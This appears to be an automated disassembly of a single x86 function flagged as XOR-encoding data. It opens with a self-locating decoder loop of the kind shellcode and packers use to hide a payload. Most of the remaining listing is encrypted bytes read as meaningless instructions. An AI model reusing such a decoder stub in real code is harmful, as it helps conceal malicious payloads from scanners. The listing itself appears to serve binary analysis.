Function at 0x805eb0
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805eb6
pop ebp
sub ebp, 6
sub ebp, 0x405eb0
jmp 0x805f14
jmp 0x805f1d
mov eax, 0x405eb0
add eax, ebp
add eax, 0x93
mov ecx, 0x634
mov edx, 0x3f8e8464
xor byte [eax], dl
inc eax
dec ecx
jne 0x805f34
jmp 0x805f47
push cs
and al, 0xc
je 0x805fb1
or al, 0x64
test al, 0x48
in eax, 0x94
pop es
cmp esi, edi
in eax, 0x94
pop es
cmp esi, edi
push edi
movsb byte es:[edi], byte [esi]
xor al, 0x9b
int1
mov ch, 0x52
xor al, 0xef
test eax, 0x6458edef
in eax, 0xa5
pushfd
test eax, 0x646462dc
fimul word fs:[esp + 0x64]
xchg ebx, eax
xchg byte [edi - 0x54], ah
out dx, eax
in eax, 0x68
mov eax, dword fs:[0xc34]
pushfd
push edx
insd dword es:[edi], dx
or al, 0xd2
inc ebx
push ebx
dec eax
inc eax
or al, 0x64
mov word fs:[ecx + 0x64], fs
lea ecx, fs:[esp + 0x64]
xor edi, ebp
mov bh, ch
loope 0x80601e
insb byte es:[edi], dx
out dx, eax
int1
push 0xef646464
jmp 0x64e4c435
imul ebp, esp, 0x2c
add ch, bh
js 0x806088
in al, 0x9f
mov word [ebx - 0x20], gs
jle 0x806096
in al, 0x9f
lea ebp, [ebx - 0x20]
jne 0x80609f
add ah, ch
lahf
wait
inc ecx
imul esp, eax, 0x71
and eax, 0x9b9ba88d
wait
dec ebp
sub byte [ebp + 0x65], bl
out 0xa5, eax
popal
out 0x8c, eax
pushal
invalid
wait
wait
wait
dec ebp
xor byte [ebp + 0x66], bl
out 0xa5, eax
invalid
wait
wait
cmp dword [esi - 0x10ce9b98], esp
mov byte [edx], dh
xor esi, dword [ecx]
out dx, eax
adc dword [eax - 0x11], ebp
sbb dword [eax + ebx*4 - 0x2a], ebp
in al, 0xee
out dx, al
invalid
mov byte [0x64646465], al
in al, dx
in al, dx
arpl bp, sp
mov dword [0x64646465], eax
fbld tbyte [esi + 0x64]
mov dh, 0x6b
mov dh, 0x6b
mov dh, 0x6b
loope 0x8060fd
out dx, al
out dx, al
jb 0x8060c4
jbe 0x80605a
mov dh, 0x6b
out 0xbc, eax
imul esp, edi, 0xffffffbc
wait
wait
wait
mov dh, 0x6b
loope 0x806110
out dx, al
out dx, al
jb 0x8060d7
jbe 0x80606d
imul esp, edi, 0xe
push edi
movsb byte es:[edi], byte [esi]
mov dh, 0x6b
loope 0x806125
out dx, al
jb 0x8060ec
jbe 0x806082
imul esp, edi, 0x4e
mov dh, 0x6b
loope 0x806138
out dx, al
jb 0x8060ff
jbe 0x806095
ja 0x806085
mov dh, 0x6b
loope 0x806147
out dx, al
jb 0x80610e
jbe 0x8060a4
ja 0x806094
movsb byte es:[edi], byte [esi]
mov dh, 0x6b
loope 0x806156
out dx, al
jb 0x80611d
jbe 0x8060b3
ja 0x8060a3
movsb byte es:[edi], byte [esi]
mov dh, 0x6b
loope 0x806165
out dx, al
jb 0x80612c
jbe 0x8060c2
ja 0x8060b2
imul esp, eax, 0x62
out dx, eax
bound esp, qword [esp + 0x64]
out dx, eax
mov ebx, 0x67eebc4f
in al, dx
arpl word [ebx], sp
and ebx, edi
lea dx, fs:[ebx + ebx*4]
fbld tbyte [esi + 0x64]
lea edx, fs:[ebx + ebx*4]
adc al, 0x9b
wait
wait
fsub qword [ebp + 0x64]
mov dh, 0x6b
mov dh, 0x6b
loope 0x806192
out dx, al
out dx, al
jb 0x806159
jbe 0x8060ef
mov dh, 0x77
movsb byte es:[edi], byte [esi]
ja 0x8060df
mov dh, 0x6b
loope 0x8061a1
out dx, al
jb 0x806168
jbe 0x8060fe
mov dh, 0x6b
out 0xba, al
imul esp, esi, 0xffffffba
wait
wait
wait
dec edi
cmpsd dword [esi], dword es:[edi]
fbld tbyte [ebp + 0x64]
imul esp, ecx, 0x50
loope 0x8061a8
frstor dword fs:[ebp + 0x64]
frstor dword fs:[ebp + 0x64]
mov dh, 0x6b
mov dh, 0x6b
loope 0x8061c6
out dx, al
out dx, al
jb 0x80618d
jbe 0x806123
ja 0x80611c
mov dh, 0x6b
loope 0x8061d5
out dx, al
jb 0x80619c
jbe 0x806132
imul esp, esi, 0xffffffba
wait
wait
wait
xor ch, bh
xchg ebx, eax
dec edi
xchg ecx, eax
xchg edi, eax
sar byte [edx], 0x8d
insb byte es:[edi], dx
wait
wait
wait
sub al, 0xa5
test byte [esi + ebp*8 + 0x62], ch
and ch, bh
insb byte es:[edi], dx
out dx, al
bound esp, qword [edx]
out dx, eax
mov ebp, ds
mov dh, 0x6b
mov dh, 0x6b
loope 0x806203
popal
out dx, al
jb 0x8061ca
jbe 0x806160
ja 0x806159
mov dh, 0x6b
loope 0x806212
out dx, al
jb 0x8061d9
jbe 0x80616f
imul esp, esi, 0xffffffba
wait
wait
wait
in eax, 0x9c
sbb dword fs:[esp - 0x1b], esp
mov ebp, 0x9b9b9b9b
wait
in eax, 0x9c
popal
in eax, 0xbd
wait
wait
wait
wait
in eax, 0x9c
in al, 0x64
in eax, 0xb5
in eax, 0x9c
in al, 0x64
in eax, 0xb5
xor ch, bh
xchg ebx, eax
dec edi
xchg esp, eax
xchg edi, eax
sar byte [edx], 0x8d
call [edx + 0x62ee9b9b]
and dl, byte [edi - 0x53]
movsb byte es:[edi], byte [esi]
mov word [ebp + 0x6b], fs
loopne 0x806285
imul esp, eax, 0x7e
in eax, 0xb5
out dx, ax
invalid
xor ch, bh
xchg ebx, eax
dec edi
xchg esp, eax
xchg edi, eax
sar byte [edx], 0xdf
lea edx, fs:[edi]
lcall 0x6c19, 0x4f399b9b
out dx, eax
mov dword [0x81ef3a3b], eax
cmp dword [esi + 0x3a3b646c], esp
lea esp, [eax + 0x64]
xchg ebx, eax
sub ch, bl
mov ds, esp
aam 0x3a
and al, 0x64
mov eax, dword [0xa4e5]
xlatb
fnsave dword fs:[bx + si + 0x67]
ficomp word fs:[ecx - 0x62]
push ecx
mov eax, 0x2d247454
imul esp, ecx, 0xffffff92
wait
wait
wait
lea esp, [eax + 0x64]
xor dword fs:[ebx], 0xe0fe81d
push cs
push 0xffffffffffffff99
rcl bh, cl
or dword [eax + 0x59], ebx
pop ecx
cwde
mov al, 0x5b
stosd dword es:[edi], eax
push es
rcl bh, cl
or eax, 0x98595958
mov al, 0x5b
stosd dword es:[edi], eax
cld
push es
pop es
rol bh, cl
pop ecx
pop ecx
pop ecx
or dl, byte [esi - 0x1a]
add eax, 0xd8035f6a
wait
mov eax, dword [0x5a595959]
invalid